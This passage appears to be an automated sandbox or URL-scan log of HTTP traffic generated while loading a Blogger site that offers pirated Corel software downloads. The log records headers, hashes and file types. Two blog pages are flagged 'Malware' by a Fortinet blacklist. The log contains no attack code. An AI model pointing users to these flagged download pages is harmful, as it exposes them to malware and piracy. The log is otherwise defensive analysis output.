X-FB-Debug: DU+GpQhwdOZz0jnnug+l0pufbs44l96L/Mj/5szT4eYMkHVnivIh/LmD46MBzoEZnY3JGBEZaoA0+WzA619WWw==
Date: Thu, 11 Oct 2018 12:32:18 GMT
Connection: keep-alive
Content-Length: 86987


--- Additional Info ---
Magic:  gzip compressed data, from Unix
Size:   86987
Md5:    d62c834d5edec869206b0d9b81adbcc3
Sha1:   c0e9a26a007b49139de5627817d8573cbfb8e0de
Sha256: e1233820291c6418e86cae8a0d15605c78cc67c6d24988ad16c69ed3ccb06a6b
                                        
                                            GET /-vMF5oV7SYC8/AAAAAAAAAAI/AAAAAAAABdE/oCltcRFdf8c/s45-c/photo.jpg HTTP/1.1 
Host: lh5.googleusercontent.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://www.blogger.com/followers.g?blogID=1904001926097169502&colors=Cgt0cmFuc3BhcmVudBILdHJhbnNwYXJlbnQaByMwMDAwMDAiByMwMDAwMDAqByNGRkZGRkYyByMwMDAwMDA6ByMwMDAwMDBCByMwMDAwMDBKByMwMDAwMDBSByNGRkZGRkZaC3RyYW5zcGFyZW50&pageSize=21&postID=7002098769562643848&origin=http%3A%2F%2Fabduhshare.blogspot.com%2F&usegapi=1&jsh=m%3B%2F_%2Fscs%2Fapps-static%2F_%2Fjs%2Fk%3Doz.gapi.en_US.-3Q5REx5LtQ.O%2Fam%3DwQ%2Frt%3Dj%2Fd%3D1%2Frs%3DAGLTcCOaEhBP76PUvj_-0NwHeJUk1xWfYw%2Fm%3D__features__&bpli=1

                                         
                                         172.217.20.33
HTTP/1.1 200 OK
Content-Type: image/jpeg
                                        
Access-Control-Expose-Headers: Content-Length
Etag: "v5d1"
Expires: Thu, 11 Oct 2018 03:21:43 GMT
Content-Disposition: inline;filename=""
Vary: Origin
Access-Control-Allow-Origin: *
Timing-Allow-Origin: *
X-Content-Type-Options: nosniff
Date: Thu, 11 Oct 2018 12:32:18 GMT
Server: fife
Content-Length: 1569
X-XSS-Protection: 1; mode=block
Cache-Control: public, max-age=86400, no-transform
Age: 0
Alt-Svc: quic=":443"; ma=2592000; v="44,43,39,35"


--- Additional Info ---
Magic:  JPEG image data, JFIF standard 1.01
Size:   1569
Md5:    7579f43a8c9f0dba4a89929e713ac229
Sha1:   cab80f1d49fb4943759e656ce56a46779d72654f
Sha256: c3d0388feed7615a7399ec60a932a33742159591088319d8cd7de55b08f6e57f
                                        
                                            GET /2014/03/cara-download-file-di-firedrive-dulu.html HTTP/1.1 
Host: abduhshare.blogspot.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html, */*; q=0.01
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
X-Requested-With: XMLHttpRequest
Referer: http://abduhshare.blogspot.com/2014/04/corel-video-studio-pro-x7-full-version.html

                                         
                                         216.58.211.1
HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
                                        
Expires: Thu, 11 Oct 2018 12:32:17 GMT
Date: Thu, 11 Oct 2018 12:32:17 GMT
Cache-Control: private, max-age=0
Last-Modified: Mon, 17 Sep 2018 02:54:12 GMT
Etag: W/"c7376477cfa30fbbda73b84aab2b3aa539659c33d63e81339d52bea1219f9497"
Content-Encoding: gzip
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Content-Length: 74800
Server: GSE


--- Additional Info ---
Magic:  gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT)
Size:   74800
Md5:    f55a535ed3453e1ecf7b544fe507ad35
Sha1:   632c8691a99c7be25c2ac9cf929584cde46fbf36
Sha256: 005a844c4d09953923feaca0b75f91237f145aefc3091a4b34300d83eb54b8ba

Alerts:
  Blacklists:
    - fortinet: Malware
                                        
                                            GET /2014/05/download-coreldraw-x7-full-verisio.html HTTP/1.1 
Host: abduhshare.blogspot.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html, */*; q=0.01
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
X-Requested-With: XMLHttpRequest
Referer: http://abduhshare.blogspot.com/2014/04/corel-video-studio-pro-x7-full-version.html

                                         
                                         216.58.211.1
HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
                                        
Expires: Thu, 11 Oct 2018 12:32:17 GMT
Date: Thu, 11 Oct 2018 12:32:17 GMT
Cache-Control: private, max-age=0
Last-Modified: Mon, 17 Sep 2018 02:54:12 GMT
Etag: W/"c7376477cfa30fbbda73b84aab2b3aa539659c33d63e81339d52bea1219f9497"
Content-Encoding: gzip
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Content-Length: 73437
Server: GSE


--- Additional Info ---
Magic:  gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT)
Size:   73437
Md5:    c2dc1df3ba949a4ee91be43a921b0523
Sha1:   b90d6110ce9a4f3b3eff1ef99ee5cb611c3c93ec
Sha256: 74d7962b2ab969dcaa18b2e355743701aa9ca0ede4b07eab91539a0b6d3d6444

Alerts:
  Blacklists:
    - fortinet: Malware
                                        
                                            GET /-71wKTBXHkk8/UxYf9ni6eNI/AAAAAAAAHsY/8oXNWXD1wGI/s1600/filedrive.png HTTP/1.1 
Host: 1.bp.blogspot.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://abduhshare.blogspot.com/2014/04/corel-video-studio-pro-x7-full-version.html

                                         
                                         172.217.20.33
HTTP/1.1 200 OK
Content-Type: image/png
                                        
Access-Control-Expose-Headers: Content-Length
Etag: "v1ec7"
Expires: Fri, 12 Oct 2018 12:32:18 GMT
Cache-Control: public, max-age=86400, no-transform
Content-Disposition: inline;filename="filedrive.png"
Vary: Origin
Access-Control-Allow-Origin: *
Timing-Allow-Origin: *
X-Content-Type-Options: nosniff
Date: Thu, 11 Oct 2018 12:32:18 GMT
Server: fife
Content-Length: 6926
X-XSS-Protection: 1; mode=block


--- Additional Info ---
Magic:  PNG image, 500 x 500, 8-bit/color RGB, non-interlaced
Size:   6926
Md5:    b393439f51522fad2647eacda4cec6aa
Sha1:   e2b60b8c87740dea8c83205a6cff90c1d77ae18b
Sha256: 82ddcdb0f3d90ca2f9554e13acc0a1262517071fac3c6b9a37d3643cd18948aa
                                        
                                            GET /-lYTghjs0uD0/AAAAAAAAAAI/AAAAAAAAAEw/5GUO0V5fnvE/s35-c/photo.jpg HTTP/1.1 
Host: lh3.googleusercontent.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://abduhshare.blogspot.com/2014/04/corel-video-studio-pro-x7-full-version.html

                                         
                                         172.217.20.33
HTTP/1.1 200 OK
Content-Type: image/png
                                        
Access-Control-Expose-Headers: Content-Length
Etag: "v4c"
Expires: Thu, 11 Oct 2018 21:38:13 GMT
Content-Disposition: inline;filename=""
Vary: Origin
Access-Control-Allow-Origin: *
Timing-Allow-Origin: *
X-Content-Type-Options: nosniff
Date: Thu, 11 Oct 2018 12:32:18 GMT
Server: fife
Content-Length: 3072
X-XSS-Protection: 1; mode=block
Cache-Control: public, max-age=86400, no-transform
Age: 0


--- Additional Info ---
Magic:  PNG image, 35 x 35, 8-bit/color RGB, non-interlaced
Size:   3072
Md5:    7311af141a4489fb3372193d980d0f1d
Sha1:   afade21bfbe084324274d2537c881c0e14326668
Sha256: acaa8a078bd6d5f01c254a7c4686a914d578810231590f1499b18dd8fe7a3d1c
                                        
                                            GET /-NQSxpYEquM0/UKjt0hTMn7I/AAAAAAAAAFw/pJMcZBb4d28/s35/Aku_mts.png HTTP/1.1 
Host: 1.bp.blogspot.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://abduhshare.blogspot.com/2014/04/corel-video-studio-pro-x7-full-version.html

                                         
                                         172.217.20.33
HTTP/1.1 200 OK
Content-Type: image/png
                                        
Access-Control-Expose-Headers: Content-Length
Etag: "v5c"
Expires: Fri, 12 Oct 2018 12:32:18 GMT
Cache-Control: public, max-age=86400, no-transform
Content-Disposition: inline;filename="Aku_mts.png"
Vary: Origin
Access-Control-Allow-Origin: *
Timing-Allow-Origin: *
X-Content-Type-Options: nosniff
Date: Thu, 11 Oct 2018 12:32:18 GMT
Server: fife
Content-Length: 3109
X-XSS-Protection: 1; mode=block


--- Additional Info ---
Magic:  PNG image, 35 x 35, 8-bit/color RGB, non-interlaced
Size:   3109
Md5:    62fb565cdc0a6fa423f3d144421dfec9
Sha1:   6d4354f0308f13d31998a43a59fa58999780b224
Sha256: b8ac5a42642cc5b8dd42e5e81a3f56a01cf06aa8c558a8f51cbeada0dd3135ea
                                        
                                            GET /-bkBNb1NtdzA/AAAAAAAAAAI/AAAAAAAAACw/XEfNbXrP7WE/s35-c/photo.jpg HTTP/1.1 
Host: lh5.googleusercontent.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://abduhshare.blogspot.com/2014/04/corel-video-studio-pro-x7-full-version.html

                                         
                                         172.217.20.33
HTTP/1.1 200 OK
Content-Type: image/jpeg
                                        
Access-Control-Expose-Headers: Content-Length
Etag: "v4e9"
Expires: Thu, 11 Oct 2018 21:38:13 GMT
Content-Disposition: inline;filename=""
Vary: Origin
Access-Control-Allow-Origin: *
Timing-Allow-Origin: *
X-Content-Type-Options: nosniff
Date: Thu, 11 Oct 2018 12:32:18 GMT
Server: fife
Content-Length: 1424
X-XSS-Protection: 1; mode=block
Cache-Control: public, max-age=86400, no-transform
Age: 0


--- Additional Info ---
Magic:  JPEG image data, JFIF standard 1.01
Size:   1424
Md5:    923397b29881400289a2b77d623486ef
Sha1:   605bffc81022c9989c62b26f0287a62e66c18973
Sha256: fd23d917765ff33d473a8c367f02a3d26893f7600b5abc79327447e42e76b301
                                        
                                            GET /-3cG0s1UBszQ/AAAAAAAAAAI/AAAAAAAAAKc/KqjTT0IZTas/s35-c/photo.jpg HTTP/1.1 
Host: lh4.googleusercontent.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://abduhshare.blogspot.com/2014/04/corel-video-studio-pro-x7-full-version.html

                                         
                                         172.217.20.33
HTTP/1.1 200 OK
Content-Type: image/jpeg
                                        
Access-Control-Expose-Headers: Content-Length
Etag: "va7"
Expires: Wed, 10 Oct 2018 17:23:28 GMT
Content-Disposition: inline;filename=""
Vary: Origin
Access-Control-Allow-Origin: *
Timing-Allow-Origin: *
X-Content-Type-Options: nosniff
Date: Thu, 11 Oct 2018 12:32:19 GMT
Server: fife
Content-Length: 1405
X-XSS-Protection: 1; mode=block
Cache-Control: public, max-age=86400, no-transform
Age: 0


--- Additional Info ---
Magic:  JPEG image data, JFIF standard 1.01
Size:   1405
Md5:    6677602cb3bfbf1a7827a0ebc44db192
Sha1:   06be221e2179c9169f418643bf7649ef53d6857e
Sha256: 1b123c1c633f14c1cbdfb971945ff58a40056a4ac71a5312a8ffda3f297a2431
                                        
                                            GET /-nO8XNiMaFns/U32YYhqBtGI/AAAAAAAAJd8/c6Pjn3q91-Y/s1600/Corel+Draw+x7+depan.jpg HTTP/1.1 
Host: 1.bp.blogspot.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://abduhshare.blogspot.com/2014/04/corel-video-studio-pro-x7-full-version.html

                                         
                                         172.217.20.33
HTTP/1.1 200 OK
Content-Type: image/png
                                        
Access-Control-Expose-Headers: Content-Length
Etag: "v25e0"
Expires: Fri, 12 Oct 2018 12:32:19 GMT
Cache-Control: public, max-age=86400, no-transform
Content-Disposition: inline;filename="Corel Draw x7 depan.png"
Vary: Origin
Access-Control-Allow-Origin: *
Timing-Allow-Origin: *
X-Content-Type-Options: nosniff
Date: Thu, 11 Oct 2018 12:32:19 GMT
Server: fife
Content-Length: 105578
X-XSS-Protection: 1; mode=block


--- Additional Info ---
Magic:  PNG image, 400 x 567, 8-bit/color RGBA, non-interlaced
Size:   105578
Md5:    ee163b5e951ff136bab848657d0fa149
Sha1:   a8f91f6636f5aa2b6b43222407ec53e4ee5edb3c
Sha256: ae823e9448605094e90f07a6ae35f3d2747430f6b3ac40199493408d58e8d036
                                        
                                            GET /img/anon45.png HTTP/1.1 
Host: resources.blogblog.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://www.blogger.com/followers.g?blogID=1904001926097169502&colors=Cgt0cmFuc3BhcmVudBILdHJhbnNwYXJlbnQaByMwMDAwMDAiByMwMDAwMDAqByNGRkZGRkYyByMwMDAwMDA6ByMwMDAwMDBCByMwMDAwMDBKByMwMDAwMDBSByNGRkZGRkZaC3RyYW5zcGFyZW50&pageSize=21&postID=7002098769562643848&origin=http%3A%2F%2Fabduhshare.blogspot.com%2F&usegapi=1&jsh=m%3B%2F_%2Fscs%2Fapps-static%2F_%2Fjs%2Fk%3Doz.gapi.en_US.-3Q5REx5LtQ.O%2Fam%3DwQ%2Frt%3Dj%2Fd%3D1%2Frs%3DAGLTcCOaEhBP76PUvj_-0NwHeJUk1xWfYw%2Fm%3D__features__&bpli=1

                                         
                                         216.58.207.201
HTTP/1.1 200 OK
Content-Type: image/png
                                        
Accept-Ranges: bytes
Content-Length: 2393
Date: Thu, 11 Oct 2018 11:26:00 GMT
Expires: Thu, 18 Oct 2018 11:26:00 GMT
Last-Modified: Thu, 11 Oct 2018 06:24:41 GMT
X-Content-Type-Options: nosniff
Server: sffe
X-XSS-Protection: 1; mode=block
Cache-Control: public, max-age=604800
Age: 3977
Alt-Svc: quic=":443"; ma=2592000; v="44,43,39,35"


--- Additional Info ---
Magic:  PNG image, 45 x 45, 8-bit/color RGB, non-interlaced
Size:   2393
Md5:    34e595e04c3d5d6432467ad3adeda00c
Sha1:   13892c07f37ad1412a6bf4f8882e6abda3ecf8f5
Sha256: bb9edcb764776694061a58275d9ddc53f2374f523f4705d6cdd2d62a684d424b
                                        
                                            GET /rsrc.php/v3/yI/l/0,cross/Yq3nGZlhvb8.css HTTP/1.1 
Host: static.xx.fbcdn.net
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/css,*/*;q=0.1
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://www.facebook.com/plugins/likebox.php?href=http%3A%2F%2Fwww.facebook.com%2FAbduhshareblogspotcom&width=292&height=290&colorscheme=light&show_faces=true&border_color&stream=false&header=true&appId=425592997485841

                                         
                                         31.13.72.12
HTTP/1.1 200 OK
Content-Type: text/css; charset=utf-8
                                        
Access-Control-Allow-Credentials: true
Cache-Control: public,max-age=31536000,immutable
X-Content-Type-Options: nosniff
X-XSS-Protection: 0
content-security-policy: default-src * data: blob:;script-src *.facebook.com *.fbcdn.net *.facebook.net *.google-analytics.com *.virtualearth.net *.google.com 127.0.0.1:* *.spotilocal.com:* 'unsafe-inline' 'unsafe-eval' *.atlassolutions.com blob: data: 'self';style-src data: blob: 'unsafe-inline' *;connect-src *.facebook.com facebook.com *.fbcdn.net *.facebook.net *.spotilocal.com:* wss://*.facebook.com:* https://fb.scanandcleanlocal.com:* *.atlassolutions.com attachment.fbsbx.com ws://localhost:* blob: *.cdninstagram.com 'self';
Timing-Allow-Origin: *
Expires: Thu, 03 Oct 2019 00:16:48 GMT
Last-Modified: Mon, 01 Jan 2001 08:00:00 GMT
Access-Control-Allow-Origin: *
Vary: Accept-Encoding
Content-Encoding: gzip
Content-MD5: RbaniFnJlec6uv/JSHEGHg==
X-FB-Debug: jCOG/L7foXlmAiTG+1XHoVjhnZMO+jK/ToPKK+xqjlAX6kToWvd2G9tE3MdsGJfAfOPmmQVXIxT0j/v+x6Xzgg==
Date: Thu, 11 Oct 2018 12:32:19 GMT
Connection: keep-alive
Content-Length: 1525


--- Additional Info ---
Magic:  gzip compressed data, from Unix
Size:   1525
Md5:    45b6a78859c995e73abaffc94871061e
Sha1:   c8129beae423e64e39d73a8a751448669fb6474c
Sha256: ca3e0d4cbed242f9f71793b0dbc837d8ea89ee302ba8c90c265baee3965bda2c
                                        
                                            GET /rsrc.php/v3/yX/l/0,cross/G3tJCDGCcy9.css HTTP/1.1 
Host: static.xx.fbcdn.net
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/css,*/*;q=0.1
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://www.facebook.com/plugins/likebox.php?href=http%3A%2F%2Fwww.facebook.com%2FAbduhshareblogspotcom&width=292&height=290&colorscheme=light&show_faces=true&border_color&stream=false&header=true&appId=425592997485841

                                         
                                         31.13.72.12
HTTP/1.1 200 OK
Content-Type: text/css; charset=utf-8
                                        
Access-Control-Allow-Credentials: true
Cache-Control: public,max-age=31536000,immutable
X-Content-Type-Options: nosniff
X-XSS-Protection: 0
content-security-policy: default-src * data: blob:;script-src *.facebook.com *.fbcdn.net *.facebook.net *.google-analytics.com *.virtualearth.net *.google.com 127.0.0.1:* *.spotilocal.com:* 'unsafe-inline' 'unsafe-eval' *.atlassolutions.com blob: data: 'self';style-src data: blob: 'unsafe-inline' *;connect-src *.facebook.com facebook.com *.fbcdn.net *.facebook.net *.spotilocal.com:* wss://*.facebook.com:* https://fb.scanandcleanlocal.com:* *.atlassolutions.com attachment.fbsbx.com ws://localhost:* blob: *.cdninstagram.com 'self';
Timing-Allow-Origin: *
Expires: Thu, 10 Oct 2019 05:34:58 GMT
Last-Modified: Mon, 01 Jan 2001 08:00:00 GMT
Access-Control-Allow-Origin: *
Vary: Accept-Encoding
Content-Encoding: gzip
Content-MD5: JzKaHvST/zi4LKwST673cQ==
X-FB-Debug: 6XzakPDNxn39WSID4RMi40xwiy7JC8cKgFTD104PdG8HKBXyEHO4a7NnuIjqc3q/wahGO9RqhFqDfWV9BawLhw==
Date: Thu, 11 Oct 2018 12:32:19 GMT
Connection: keep-alive
Content-Length: 7702


--- Additional Info ---
Magic:  gzip compressed data, from Unix
Size:   7702
Md5:    27329a1ef493ff38b82cac124faef771
Sha1:   102a13156ddefb5458eba95e7b7e3380ea79553e
Sha256: aaf4434e252575135b4ff399d0e1fcc35f09ecf769b95d57f4064f0267ef8c8a
                                        
                                            GET /-NmDCFi03fl8/U32ZtFDvBAI/AAAAAAAAJeE/HVRjgouWv1c/s1600/corel+draw+x7+abduhshare.png HTTP/1.1 
Host: 1.bp.blogspot.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://abduhshare.blogspot.com/2014/04/corel-video-studio-pro-x7-full-version.html

                                         
                                         172.217.20.33
HTTP/1.1 200 OK
Content-Type: image/png
                                        
Access-Control-Expose-Headers: Content-Length
Etag: "v25e2"
Expires: Fri, 12 Oct 2018 12:32:19 GMT
Cache-Control: public, max-age=86400, no-transform
Content-Disposition: inline;filename="corel draw x7 abduhshare.png"
Vary: Origin
Access-Control-Allow-Origin: *
Timing-Allow-Origin: *
X-Content-Type-Options: nosniff
Date: Thu, 11 Oct 2018 12:32:19 GMT
Server: fife
Content-Length: 145217
X-XSS-Protection: 1; mode=block


--- Additional Info ---
Magic:  PNG image, 1366 x 693, 8-bit/color RGB, non-interlaced
Size:   145217
Md5:    cb5bdda76aafb4641230f12da916367a
Sha1:   2dc12eba45d354d46b186c725d83895ea9cd4b09
Sha256: a96347eb7bb7d6586fe4e321f51634c51d62939073d9236f8b924a8efef65ec6
                                        
                                            POST / HTTP/1.1 
Host: ocsp.digicert.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Content-Length: 115
Content-Type: application/ocsp-request

                                         
                                         93.184.220.29
HTTP/1.1 200 OK
Content-Type: application/ocsp-response
                                        
Accept-Ranges: bytes
Cache-Control: max-age=158857
Date: Thu, 11 Oct 2018 12:32:22 GMT
Etag: "5bbef065-1d7"
Expires: Sat, 13 Oct 2018 08:39:59 GMT
Last-Modified: Thu, 11 Oct 2018 06:40:37 GMT
Server: ECS (ska/F712)
X-Cache: HIT
Content-Length: 471


--- Additional Info ---
Magic:  data
Size:   471
Md5:    458a0e598a6e9dee7ce061009b9046d5
Sha1:   bb40be9e29eb3d8b392bcf117cf496aae8e6d053
Sha256: aa4e959b54ee6be465066cdd5ca4be5da5771ba1e2de6c26a5c1d3a239c54a69
                                        
                                            GET /rsrc.php/v3/yX/r/Kvo5FesWVKX.png HTTP/1.1 
Host: static.xx.fbcdn.net
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://static.xx.fbcdn.net/rsrc.php/v3/yX/l/0,cross/G3tJCDGCcy9.css

                                         
                                         31.13.72.12
HTTP/1.1 200 OK
Content-Type: image/png
                                        
Access-Control-Allow-Credentials: true
Cache-Control: public,max-age=31536000,immutable
X-Content-Type-Options: nosniff
X-XSS-Protection: 0
content-security-policy: default-src * data: blob:;script-src *.facebook.com *.fbcdn.net *.facebook.net *.google-analytics.com *.virtualearth.net *.google.com 127.0.0.1:* *.spotilocal.com:* 'unsafe-inline' 'unsafe-eval' *.atlassolutions.com blob: data: 'self';style-src data: blob: 'unsafe-inline' *;connect-src *.facebook.com facebook.com *.fbcdn.net *.facebook.net *.spotilocal.com:* wss://*.facebook.com:* https://fb.scanandcleanlocal.com:* *.atlassolutions.com attachment.fbsbx.com ws://localhost:* blob: *.cdninstagram.com 'self' chrome-extension://boadgeojelhgndaghljhdicfkmllpafd chrome-extension://dliochdbjfkdbacpmhlcpmleaejidimm;
Timing-Allow-Origin: *
Expires: Wed, 02 Oct 2019 08:49:40 GMT
Content-MD5: zLXyst1HOZzsE8I5PJ2sIg==
Last-Modified: Mon, 01 Jan 2001 08:00:00 GMT
Access-Control-Allow-Origin: *
X-FB-Debug: uv+OTWm53QBj19pSSXpefTcJB0ZXyc4z0UB1Ls+YoF7Mmql7qQUd959lbTMYNn5OaKuzo/FPz6MO3tMsqkUtrg==
Date: Thu, 11 Oct 2018 12:32:22 GMT
Connection: keep-alive
Content-Length: 19050


--- Additional Info ---
Magic:  PNG image, 25 x 823, 8-bit/color RGBA, non-interlaced
Size:   19050
Md5:    ccb5f2b2dd47399cec13c2393c9dac22
Sha1:   5b9e7c19c7ee5b0c8955eb8b81aa853b038f4923
Sha256: 8f557eaac9fb5f4f5954e62f23dcb962e7175a735a1ba361c4f348dee45efc64
                                        
                                            GET /v/t1.0-0/q88/p235x165/1234942_576418102394308_550517960_n.jpg?_nc_cat=109&oh=2c96b97f6d0933be9089cb80f4be8345&oe=5C4DC976 HTTP/1.1 
Host: scontent.fosl1-1.fna.fbcdn.net
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://www.facebook.com/plugins/likebox.php?href=http%3A%2F%2Fwww.facebook.com%2FAbduhshareblogspotcom&width=292&height=290&colorscheme=light&show_faces=true&border_color&stream=false&header=true&appId=425592997485841

                                         
                                         213.52.81.145
HTTP/1.1 200 OK
Content-Type: image/jpeg